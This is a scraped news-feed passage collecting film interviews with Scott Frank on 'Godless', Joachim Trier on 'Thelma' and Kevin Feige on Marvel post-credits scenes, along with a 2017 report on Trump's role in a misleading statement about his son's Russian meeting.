It wasn’t just about where the mountains were, which direction looked better. It was which direction told the story in the best way for us, what was happening. A lot of the show was shot with a 25 millimeter lens, which meant even closeups … The camera’s very close to the actors, but you have all this information in the background. You can still see how much there is around them and behind them. It just contributed to make everybody sort of feel dwarfed by the landscape, which is a big part of living in the west. The environment and the land and the weather, that’s all a big, that’s a whole other character. All of that was stuff I really had to learn and really had to focus on, and hadn’t focused on before.

I think light and the water rising when Frank and the gang goes the rive illustrates your point. It makes Frank Griffin feel like a force coming.

Yes, that’s it. That’s it. Again, that was rehearsed, and what part of the river and even how many rocks are in the river, and how many horses can we get to cross the river? All of that stuff had to be carefully planned, and in-particular, the shootout at the end is so massive, so that had to be very carefully organized.

We began by taping out the various floor plans of the hotel on the soundstage, and working through it. Just sort of working through where everybody was going to be, and then where the camera was going to be. Then, from that process we began storyboarding very carefully because we didn’t have a lot of time, and so we wanted to be careful as to make sure that we were getting every single shot. Again, it’s very tricky once you involve horses.

Planning that big final shootout, what were some of the big shots that you said you envisioned early on?

So you’re looking for those angles, which could be when the horses start riding into the hotel, when the women start shooting, shots from the roof. Even that, there’s a very tricky shot of, or complicated shot where the camera cranes up, it’s all quiet in town, and the camera cranes up over the hotel, over the two women, and then zooms in on the 40 horses riding towards town, finds them way off in the distance. Just the timing of that took a lot of forethought and planning. It was very, very difficult to figure out because we didn’t do it with any sort of effects.

Those are really the horses that are coming so you had to time it so just as the camera came up and over the women, the horses are being revealed in the distance. Things like that took a lot of planning. The staircases is in-particular were tricky because horses can ride up the stairs without too much trouble, but they can’t come down so we had to … It was almost like a pit crew would come in after each take and nail these planks over the stairs, these boards over the stairs with little raised ridges in them so the horses could be led down the stairs.

Then the removable walls in some places in the hotel, like on the first floor so that the horses could ride up the first landing but then they would go right down a ramp, they could keep going down a ramp out the back and you wouldn’t see them. There was a lot of walls being pulled and platforms being put down. Each time the horses rode into the hotel was tricky. Sometimes I’d find myself standing there on the second floor next to a horse on this carpeted landing. It was a very surreal experience, especially when they started to take a shit on the floor.

I imagine you easily could have handed off an episode or two to another director, but what made you want to direct all of Godless?

Yeah. It didn’t seem to make sense to give it to another director other than almost any other director would probably do better than me. It was 120 day shooting schedule, so we were shooting it just like a long movie, basically like a seven hour movie. It was scheduled and boarded that way. It wasn’t like a normal TV series where you’re delivering an episode at a time. We shot all of it and then began cutting.

It wasn’t being aired as we were shooting the way a traditional TV series might. If you’re doing it that way, then it makes sense to have other directors because I would have to be in the cutting room and have to be working in post-production at the same time as the show’s being shot, and I couldn’t be in two places at once. Because we were shooting it and then doing a very separate post-production, I didn’t want to give it up to anybody else, it just didn’t make sense. I thought it was much easier just for me to stay with it and do all of it. I think you’re seeing that more and more now.

Did those 120 days feel any different than shooting a movie?

Yeah, it felt just like shooting a long … It was like a long movie schedule. It didn’t feel any different than making a movie. I mean, we shot it just as we would a movie. I would frequently joke though, whenever we would have a particularly big shot or something with any sort of scope to it, I would, after we’d call cut I would usually say, “Well, that’s going to look great on someone’s phone.”

[Laughs] Would you prefer someone not to watch the show that way or would you just be happy they’re watching it?

However people come to it is fine with me. I mean, I wish they wouldn’t watch it on their phone. I was sitting on the subway the other day here in New York and I look over at somebody watching Marco Polo on their iPhone, which is a gorgeously shot series. It’s just kind of amazing. I hope people don’t watch the show that way, but however people enjoy it is fine with me.

I can’t control that and it will look good on a big screen, and it will look good on a small screen. I always suggest that people watch the first two episodes in a row because you’re really kind of hooked after the first two episodes. The first episode is introducing quite a few people, but they’re also long. I understand that each episode is kind of a full meal and I understand that you might need a break between them.

All the characters you had to introduce in the first episode-

Oh my god, yeah. There are 80 speaking parts in the show.

Continue Reading Scott Frank Interview >>

The post ‘Godless’ Creator Scott Frank on Crafting His Epic Netflix Western [Interview] appeared first on /Film.

/Film

]]> https://briefnews.eu/godless-creator-scott-frank-on-crafting-his-epic-netflix-western-interview/feed/ 0 ‘Thelma’ Director Joachim Trier on Crafting His Incredible Queer Horror Film [Interview] https://briefnews.eu/thelma-director-joachim-trier-on-crafting-his-incredible-queer-horror-film-interview/ https://briefnews.eu/thelma-director-joachim-trier-on-crafting-his-incredible-queer-horror-film-interview/#respond Thu, 23 Nov 2017 22:39:45 +0000 http://briefnews.eu/thelma-director-joachim-trier-on-crafting-his-incredible-queer-horror-film-interview/ Thelma director interview

Thelma is the story of a girl who moves away from home for the first time to attend college. And then she falls in love with another girl. And then she realizes that she has horrifying supernatural powers. And then things really go off the rails.

Norway’s submission for Best Foreign Language Film at next year’s Academy awards is many things: a gripping horror story, a queer romance, and a personal drama about realizing that your parents aren’t always right. Director Joachim Trier balances all of these plates, crafting one of 2017’s best movies.

I spoke with Trier over the phone about finding the humanity in a horror story, crafting memorable “bad” parents, and knowing how big is too big with a horror setpiece.

Did you set out to tell a horror story or did you realize during the writing process that the horror genre would best serve these characters?

The genre thing actually came first. I know that’s the least virtuous thing to say, but I kind of have to be honest with you. We listened to a lot of synth music and looked at a lot of supernatural films and just felt that there was an opportunity within that genre to do something sort of existential. Whether it was Solaris by Tarkovsky or whether it was Rosemary’s Baby or The Dead Zone by David Cronenberg. There were these kinds of allegorical stories where you’re dealing with an internal supernatural ambivalence or drama instead of the modern horror jump scare gore thing, which we we weren’t so curious about. It started there, but then, of course, the moment you have a character in the middle…we come from drama, we got very intrigued with the dynamics of a young woman trying to become autonomous away from her parents and trying to figure out who she is. So it started with the genre fascination, I think.

There are a lot of horror movies with “bad” parents and they tend to be over-the-top or cartoonish. The classic example of this being done well would probably be Brian De Palma’s Carrie, which is an interesting cousin to your film. The parents here are handled with grace and humanity, even though audiences will almost surely side with Thelma.

Thank you. This is the thing, you know? I thought the film was ultimately about the horror of not trusting each other in a family. If the parents were these antagonists…in media stories and narrative fiction these days, everyone is being pressured to do antagonistic stories. Bad people, good people. Because it creates easy conflict and conflict creates clicks and attention and people go to the movies. But we owe the audience more than that. The French director [Jean] Renoir once said the big problem is that everyone has their reason. And that’s what’s interesting. The fact that the father has a logic to his behavior and we got intrigued with that. The father and the mother have this soft power. In any human experience of having to become who you need to be, how much are you dependent on the acknowledgment or the love of your parents and how much do you dare to break away from that to stand on your own two feet? It’s a basic human experience that we’re saturating through the genre elements. I really, really appreciate what you just said. We aimed to try to create real characters there. In a way, the world is full of supernatural stories right now and the only thing we could contribute was hopefully our background in more humanist, nuanced drama and see if that could blend in with this. That’s what was fun, to try to combine these things.

This is ultimately a coming out tale. An LGBTQ story.

Sure.

It’s about a woman loving another woman. We see coming of age movies in America all the time, but everyone seems afraid to make movies about same sex relationships of any kind.

In Scandinavian cinema, there are few as well. Most movies that are about LGBTQ experiences or situations are about guys. But in genre cinema, there is the complete other side of the spectrum. There is the cliche of the lesbian vampire film from Italy in the ’70s, this schlocky kind of thing. We realized we could try to do a more modern empowerment story that was dealing with that subject and that theme that we felt is important in this day and age. In our society, both in American and in Norway, there is…it’s easy to live in the city and think that there’s no problem coming out and that everyone’s a liberal, but that’s not the case. There are conservative environments in many kinds of regions right now, using religion as a suppressive power structure. This is not an attack on personal faith, which I completely respect, but it’s certainly an attack on structures that inhibit people from being who they need to be. On the side, in my life, I’m also a music lover and I grew up with punk and disco. I DJ. I’m very concerned and very embracing of the disco waves and the punk movements of the early ’80s. Scenes where you’re allowed to be who you need to be. I’ve always been rooting for the people who feel like outsiders in all my films. We’re happy that’s part of the story, although it didn’t actually begin there. It developed into it.

Your lead actress, Eili Harboe, is remarkable and you put her through the wringer. This is not an easy performance. Can you talk about finding her for this part?

[Laughs] I have this thing. When I write with my co-writer Eskil Vogt, we have a rule that I’m not allowed to think too practical. In the writing room, we are free. We don’t care about budgets or restrictions, we just dream the film we want to make and I go out and fight for it afterwards. We realized that even though we were worried about snakes and fire and 200 CGI shots, the biggest challenge was to find out who the hell was going to pull this off at the age of 20. I’m very, very pleased with Eili Harboe. She was a find. She had done some acting before, but this was her first big role. What can I say? I think she’s going to be a star. I know now that I’m here in L.A. that she’s getting great attention. People are noticing and that makes me very happy. I found her through meeting a thousand girls and she was obviously the one when we first started rehearsing and trying things with her. She was very brave. She could pull her own stunts. She was very curious to explore this tough, demanding part. But she’s also very sophisticated for her age. I think it’s going to a case where I’m just happy that I worked with her. There you go. She’s on her way!

I’m glad you talked about having a space to dream the biggest without having to worry about budgets. I want to be careful about spoilers here, but Thelma’s powers in the movie are never portrayed as big and bombastic. They’re subtle and often horrifying. Was there a push and pull between going too big and going too small?

It’s hard to talk about with revealing things, but a lot of the great horror films that I grew up loving like Rosemary’s Baby or The Exorcist or even something like The Dead Zone, which is a bit of a masterpiece, they are slow-builders. It takes time, you have to get into the human element. You are slowly drawn into the supernatural or exaggerated universe of the thriller or the horror or whatever you want to call it. This balancing act was exciting to us. We come from the Hitchcock school. We love suspense. We love to think from location. A lot of this was built from the set pieces, actually. We wanted there to be this thing underwater, this conceptual idea of turning things upside down. We had this sensuous snake idea that we wanted to smuggle in there. Like we did with our previous films, we worked from the outside in, from visual ideas that we imagined that we created a story around. And then the characters in the story take over later. It’s built from that. I think we started thinking we would do something more horrific, but slowly we realized that anything that was touched with her humanity or was relatable was more horrific for the audience then just being explicit all the way through. I’m glad you liked the balance, but that was the art of this, to figure that out. In editing as well, try going a little too far and then pulling back. That was the game.

***

Thelma is in limited release right now and expands on November 24, 2017.

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]]> https://briefnews.eu/thelma-director-joachim-trier-on-crafting-his-incredible-queer-horror-film-interview/feed/ 0 Trump’s role in crafting a misleading statement for his son could spell more legal trouble for the White House https://briefnews.eu/trumps-role-in-crafting-a-misleading-statement-for-his-son-could-spell-more-legal-trouble-for-the-white-house/ https://briefnews.eu/trumps-role-in-crafting-a-misleading-statement-for-his-son-could-spell-more-legal-trouble-for-the-white-house/#respond Tue, 01 Aug 2017 17:39:57 +0000 http://briefnews.eu/trumps-role-in-crafting-a-misleading-statement-for-his-son-could-spell-more-legal-trouble-for-the-white-house/ U.S. President Donald Trump speaks after John Kelly was sworn in as White House Chief of Staff in the Oval Office of the White House in Washington, U.S., July 31, 2017. REUTERS/Joshua Roberts President Donald Trump personally “dictated” a misleading statement about his son’s meeting with a Russian lawyer last year that said they primarily “discussed a program about the adoption of Russian children,” The Washington Post reported Monday, a move experts say could put the White House at fresh legal risk.

Trump’s lawyer, Jay Sekulow, told CNN in the days after that Trump did not play a direct role in crafting the initial statement. That statement did not mention that Trump’s son, Donald Trump Jr., had been offered compromising information about Hillary Clinton in exchange for taking the meeting, or that the lawyer had been accompanied by a Russian-American lobbyist named Rinat Akhmetshin. 

While it is not illegal for a president to mislead the public or the press, legal experts say the episode will likely be of interest to FBI special counsel Robert Mueller as he investigates Russia’s election interference and whether the Trump campaign has sought to cover up any interactions it had with Russians last year.

“If the reports are accurate, Trump didn’t just help write a false statement for his son to release; he also then allowed his personal lawyer to falsely deny that Trump was involved in the drafting of the statement,” said David Sklansky, a professor of criminal law at Stanford Law School. 

Sklansky said that lying, generally, isn’t criminal, so the episode is unlikely to constitute the “act” of obstruction of justice under federal criminal law. 

“But both could be relevant to whether other things Trump has done” — like firing former FBI Director James Comey — “were done with corrupt intent,” Sklansky said. CNN legal analyst Jeffrey Toobin said Monday that the episode would likely signal “consciousness of guilt” to federal and congressional investigators. 

Andy Wright, a professor at Savannah Law School who served as associate counsel in the White House counsel’s office under President Barack Obama, said Trump “inserted himself into an effort to cover up the nature of his son’s contact with Russia-affiliated people.”

If Trump was trying to throw congressional investigators or criminal prosecutors “off the scent” of his campaign’s contacts with Russians, Wright said, then that could be construed as obstruction in the legal sense of the term.

Even if that was not Trump’s intent, though, it is “clear he engaged in an act of political obstruction by trying to deceive the American people,” Wright said. 

The political implications may be the most relevant given the debate surrounding whether a sitting president could be criminally indicted. As Sklansky said, “in an impeachment proceeding, Congress would be the sole judge of whether any lies by the President themselves constituted ‘high crimes or misdemeanors.”

According to the Post, Trump “overruled the consensus” of his advisers to be as transparent about the meeting as possible, which Wright said “demonstrates ill intent” on the president’s part.

Jens Ohlin, a professor at Cornell Law School who specializes in criminal law, agreed that the episode “is relevant as a pattern of conduct designed to play down or even cover up any Russia-related conversations during the campaign and transition.”

“It certainly does little to buttress the administration’s credibility or transparency on this issue,” Ohlin said.

NOW WATCH: Kellyanne Conway defended Donald Trump Jr.‘s meeting with a Russian lawyer using show-and-tell cards — and the internet went nuts

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]]> https://briefnews.eu/trumps-role-in-crafting-a-misleading-statement-for-his-son-could-spell-more-legal-trouble-for-the-white-house/feed/ 0 Marvel Studios President Kevin Feige on Crafting Great Post-Credits Scenes [Interview] https://briefnews.eu/marvel-studios-president-kevin-feige-on-crafting-great-post-credits-scenes-interview/ https://briefnews.eu/marvel-studios-president-kevin-feige-on-crafting-great-post-credits-scenes-interview/#respond Thu, 04 May 2017 19:31:38 +0000 http://briefnews.eu/marvel-studios-president-kevin-feige-on-crafting-great-post-credits-scenes-interview/ guardians of the galaxy vol. 2 concept art

A few weeks ago, I sat down with Marvel Studios head Kevin Feige at the Guardians of the Galaxy Vol. 2 press junket, and we discussed a variety of things. We talked about how the Marvel tradition of post-credits scenes started, and how they are developed before, during and sometimes after filming. I also asked him about the lesson he learned working on You’ve Got Mail so many years ago (seriously!) and why he chose Anna Boden and Ryan Fleck to direct Captain Marvel. I also try to make some sense of the current chronology of the current Marvel films. All this and more below!

Kevin Feige

I’m supposed to ask you…

Uh, oh.

This is a funny one, what is the one thing you learned while working on You’ve Got Mail many years ago, one lesson that you learned that you still today take towards your work?

[Laughs] There were a lot of lessons. One I remember in particular is that it always lands on the producer to have the difficult conversations that are needed on sets with cast. Not that there were that many on You’ve Got Mail. But if there was an issue with somebody’s hair, an issue with somebody’s wardrobe or something, it would always be…I remember [director Nora Ephron] would turn to Lauren Donner, my boss at the time, and said, would you please talk to so and so about this thing? And I’d go, that’s gonna be an awkward conversation. Yikes. And Lauren would go in there and have the conversation and it would work out. And I realized that’s what you have to do.

See, a lot of people might think the producer’s job is easy, but it’s…

Well, it always varies. And it’s such a ubiquitous title that there are a lot of different people with that same title do a lot of different things.

Brie Larson captain marvel fan

You just hired Boden and Fleck for Captain Marvel. Why them?

They came in many, many times. And impressed us in the room with what they had to say about Carol Danvers.

You mean they pitched for other movies or–?

No, no, they came in many times for this film. And they live in New York and would fly out on a moment’s notice to come in and pitch on it, which always means a lot. And Anna and Ryan had just a very strong sense of not just the plotting and the machinations of the plot, but on Carol’s journey, which is the most important thing about the movie. We can help out with all the accouterments of action and of sci-fi worlds. But we wanted somebody who could really be a guiding hand to Carol and to Brie [Larson] and to that journey, which is what the whole movie is about, somebody becoming this powerful being in the universe. And you look at their work and like most of the directors we’ve hired, not giant, effects-driven action, but rather very unique and, in their, case very personal character stories and character journeys. And very diverse in terms of the subject matter that they’ve chosen to tell. And they sort of nail it every time. And I think they see Carol as just another rich, three dimensional character to explore, who just happens to be able to fly and punch through moons and lead intergalactic teams.

Guardians of the Galaxy 2 - Baby Groot

The chronology of these movies is getting a little complicated because [Guardians of the Galaxy Vol. 2] takes place closer to the last one, as Baby Groot has only grown a bit since we saw him in the credits of Vol. 1. And we learned on set that Spider-Man: Homecoming takes place right after Captain America: Civil War. Can you explain what is going on here in going forward? Is Captain Marvel before Infinity War or in-between Infinity War and Avengers 4? How is everything set?

Very carefully. Captain Marvel I won’t talk about, but with Guardians, yeah, I mean, it’s the timeline that stays true to the characters that we’re following. And because we never really date the movie…it doesn’t say 2012, it doesn’t say 2017. I guess it does say 1980 at the beginning of this. But they will all meet up. But if you follow the timeline, yes, there’s a year or more that will have gone by between the end of Volume 2 and Infinity War for the Guardians.

Well, something like with Spider-Man, does that take place I guess two years ago from when it comes out? So does that mean the second Spider-Man is going to take place before Infinity War?

No.

Does that make sense what I’m saying?

It does and that’s not the case.

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I’ve talked to you a lot about how you pick directors, the retreats, development, the whole process. One thing I haven’t talked to you about is how these after credit things came about and how they come about.

Sure.

So I wanna start with that. How did that become a tradition at Marvel?

Well, Sam Jackson, Iron Man 1 for sure. That’s absolutely how it came about. I always liked that sort of thing, whether it’s Ferris Bueller or Masters of the Universe. As a film nerd, I never wanted it to end. I didn’t want the experience…no matter how good or bad the movie was, just the experience of being in the movie theater, I didn’t want to end. So I would always sit through the credits. My Mom would do that, too. Would read all the names and think it’s so interesting what everybody does. So I would always sit through all the credits and you’re about two-thirds of the way through and it’s like oh should I go? Well maybe there’s, I mean, that one time there was something in that movie. Maybe there’ll be something on this movie. And there never was. Almost never was.

So when I started making movies, I’d be like that’d be fun to do. The Sam Jackson Nick Fury idea came about during production. You’ve heard this story, Sam was willing to do it. We shot it secretly. It leaked the next day. But we didn’t wanna put it in the body of the film ’cause we thought it would be distracting. So we thought we’d put it at the very end of the credits for people who like me when I was a kid could be rewarded for staying and if you stayed that long, you probably knew who Nick Fury was. And what that meant. And then it became a tradition and then it really varies. Sometimes we conceive of the tags during development, sometimes during production, sometimes during post-production.

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